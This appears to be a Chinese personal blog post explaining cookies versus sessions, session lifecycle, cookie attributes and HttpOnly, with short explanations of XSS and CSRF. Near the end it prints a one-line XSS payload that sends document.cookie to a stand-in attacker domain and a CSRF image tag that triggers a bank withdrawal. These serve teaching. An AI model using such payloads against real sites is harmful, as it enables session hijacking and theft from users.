http协议是无状态的，那如何记录状态，跟踪用户
使用cookie和session来实现
客户端第一次请求服务端，服务端生成一个session,每一个session都有唯一的标识session id
服务端会把session id 发送给客户端，让客户端把session id保存在cookie里
之后客户端再请求服务端，会携带cookie，服务端就能认识
再详细讨论一下细节：
session 可以放在文件、内存中或数据库都可以，是以键值对的形式存储。Session也是一种 key-value 的属性对。
当程序需要为某个客户端的请求创建一个 session 的时候，服务器首先检查这个客户
端的请求里是否已包含了一个 session 标识 – 称为 session id，如果已包含一个 session id
则说明以前已经为此客户端创建过 session，服务器就按照 session id 把这个 session 检索
出来使用（如果检索不到，可能会新建一个，根据 getSession() 方法的参数），如果客户
端请求不包含 session id，则为此客户端创建一个 session 并且生成一个与此 session 相关
联的 session id，这个 session id 将被在本次响应中返回给客户端保存。
Session 的客户端实现形式（即 Session ID 的保存方法）
在后端容器用一个ConcurrentHashMap 存储JSESSIONID (KEY,VALUE)
如果说Cookie机制是通过检查客户身上的“通行证”来确定客户身份的话，那么Session机制就是通过检查服务器上的“客户明细表”来确认客户身份。Session相当于程序在服务器上建立的一份客户档案，客户来访的时候只需要查询客户档案表就可以了。
一般浏览器提供了 3 种方式来保存：
[1]使用 Cookie 来保存，这是最常见的方法，“记住我的登录状态”功能的实现正是基
于这种方式的。服务器通过设置 Cookie 的方式将 Session ID 发送到浏览器。如果我们不
设置过期时间，那么这个 Cookie 将不存放在硬盘上，当浏览器关闭的时候，Cookie 就消
失了，这个 Session ID 就丢失了。如果我们设置这个时间，那么这个 Cookie 会保存在客
户端硬盘中，即使浏览器关闭，这个值仍然存在，下次访问相应网站时，同 样会发送到服
务器上。
[2] URL 重写，就是把 session id 直接附加在 URL 路径的后面，也就是像我们经常看到
JSP 网站会有 aaa.jsp?JSESSIONID=*一样的。
[3] 在页面表单里面增加隐藏域，这种方式实际上和第二种方式一样，只不过前者通过
GET 方式发送数据，后者使用 POST 方式发送数据。但是明显后者比较麻烦。
当Cookie 被浏览器禁用，可以采用后两种方法。
session 什么时候被创建 ？
一个常见的错误是以为 session 在有客户端访问时就被创建，然而事实是直到某 server
端程序(如 Servlet)调用 HttpServletRequest.getSession(true)这样的语句时才会被创建。
session 何时被删除 ？
session 在下列情况下被删除：
A．程序调用 HttpSession.invalidate()
B．距离上一次收到客户端发送的 session id 时间间隔超过了 session 的最大有效时间
C．服务器进程被停止
再次注意关闭浏览器只会使存储在客户端浏览器内存中的 session cookie 失效，不会
使服务器端的 session 对象失效。
如果有几千个 session ，怎么提高效率 。当 session 访问量比较大的时候，怎么解决?
把session放到 redis 或 memcache 等此类内存缓存中或着把session存储在SSD硬盘上。
名称：一个唯一确定cookie的名称
值：存储在cookie中的字符串值
域：对于哪个域是有效的，如果没有设置的话，默认来自设置cookie的那个域
路径：指定域中的那个路径，路径匹配
失效时间：表示cookie何时应该被删除的时间戳，这个日期是GMT格式的日期，如果设置是以前的时间，cookie会被立刻删除。上述cookie的失效时间是Feb,13-Mar-2018 11:47:50。如果不设置则为session ，Max-Age:seconds替代
安全标志：secure指定以后，cookie只有在使用https连接的时候才可以发送到服务器。
通过domain+path+name来区分cookie
Cookie 与 Session 的区别：
1、cookie 数据存放在客户端，用来记录用户信息的，session 数据放在服务器上。
2、正是由于 Cookie 存储在客户端中，对客户端是可见的，客户端的一些程序可能会窥探、
复制甚至修改 Cookie 中的内容。而 Session 存储在服务器上，对客户端是透明的，不存在
敏感信息泄露的危险。
如果选用 Cookie，比较好的办法是，敏感的信息如账号密码等尽量不要写到 Cookie
中。最好是像 Google、Baidu 那样将 Cookie 信息加密，提交到服务器后再进行解密，保
证 Cookie 中的信息只有自己能读得懂。而如果选择 Session 就省事多了，反正是放在服务
器上，Session 里任何隐私都可以。
3、Session 是保存在服务器端的，每个用户都会产生一个 Session。如果并发访问的用户
非常多，会产生非常多的 Session，消耗大量的服务器内存。因此像 Google、Baidu、Sina
这样并发访问量极高的网站，是不太可能使用 Session 来追踪客户会话的。
而 Cookie 保存在客户端，不占用服务器资源。如果并发浏览的用户非常多，Cookie
是很好的选择。对于 Google、Baidu、Sina 来说，Cookie 也许是唯一的选择。
4、cookie 的容量和个数都有限制。单个 cookie 的容量 不能超过 4KB，很多浏览器都限制
一个站点最多保存 20 个 cookie，而 session 没有此问题。
5、可以将登录信息等重要信息存放到 SESSION 中，其他信息如果需要保留，可以放在COOKIE 中。
where is cookie？
在控制台打印cookie
什么是HttpOnly？
Cookie 的HttpOnly 属性是Cookie 的扩展功能，它使JavaScript 脚本无法获得Cookie，即无法通过 Document.cookie获得Cookie。其主要目的为防止跨站脚本攻击（Cross-sitescripting，XSS）对Cookie 的信息窃取。
发送指定HttpOnly 属性的Cookie 的方法：Set-Cookie: name=value; HttpOnly
为什么我们要限制客户端去访问cookie？为了保障安全。
试想：如果任何 cookie 都能被客户端通过document.cookie获取会发生什么可怕的事情。当我们的网页遭受了 XSS 攻击，有一段恶意的script脚本插到了网页中。
这段script脚本做的事情是：通过document.cookie读取了用户身份验证相关的 cookie，并将这些 cookie 发送到了攻击者的服务器。
攻击者轻而易举就拿到了用户身份验证信息，于是就可以摇摇大摆地冒充此用户访问你的服务器了（因为攻击者有合法的用户身份验证信息，所以会通过你服务器的验证）。
XSS（cross-site scripting） 跨站脚本攻击
主要通过注入脚本获取cookie ，可通过禁止客户端对cookie的访问，达到防御的目的
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
CSRF（Cross-site request forgery ）跨站请求伪造
例如：一个网站用户Bob可能正在浏览聊天论坛，而同时另一个用户Alice也在此论坛中，并且后者刚刚发布了一个具有Bob银行链接的图片消 息。设想一下，Alice编写了一个在Bob的银行站点上进行取款的form提交的链接，并将此链接作为图片tag。如果Bob的银行在cookie中保 存他的授权信息，并且此cookie没有过期，那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的cookie，这样在没经Bob同意的情况下便授权了这次事务。CSRF是一种依赖web浏览器的、被混淆过的代理人攻击（deputy attack）。在上面银行示例中的代理人是Bob的web浏览器，它被混淆后误将Bob的授权直接交给了Alice使用。
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
转载请注明：汪明鑫的个人博客 » cookie VS session
说点什么
您将是第一位评论人！